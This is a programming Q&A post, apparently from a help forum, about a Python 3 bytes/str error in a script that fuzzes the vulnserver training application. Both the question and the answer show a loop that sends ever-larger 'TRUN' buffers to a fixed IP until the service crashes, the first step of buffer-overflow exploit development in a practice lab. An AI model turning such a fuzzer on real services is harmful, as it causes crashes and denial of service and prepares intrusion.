Sending a string ( TRUN command) to vulnserver using send method in socket module in Python 3.x

Viewed 7

I am trying to send a bunch of characters to vulnserver but when I use the send() method in socket module I get an error saying TypeError: A bytes-like object is required, not 'str'

#!/usr/bin/python
import sys
import socket
from time import sleep

IP ="10.6.51.255"
port = 9999

buffer ="A" * 100


while True:
        try:
               s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
               s.connect((IP,port))
               s.send(('TRUN /.:/' + buffer))
               s.close()
                

               sleep(1)
               buffer = buffer + "A" *100

        except:
              print ("Fuzzing crushed at %s bytes") % str(len(buffer))
              sys.exit()`
1 Answers

I needed to encode both the trun and buffer variables.

#! /usr/bin/python

import sys
import socket
from time import sleep

IP ='10.6.51.255'
port = 9999

buffer ="A" * 100


while True:
        try:
               s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
               s.connect((IP,port))
               trun ='TRUN /.:/'
               s.send((trun.encode() + buffer.encode()))
               s.close()
         
               sleep(1)
               buffer = buffer + "A" *100

        except:
              print("Your buffer crashed the program at %s bytes" % str(len(buffer)))
              sys.exit()
        ```
Related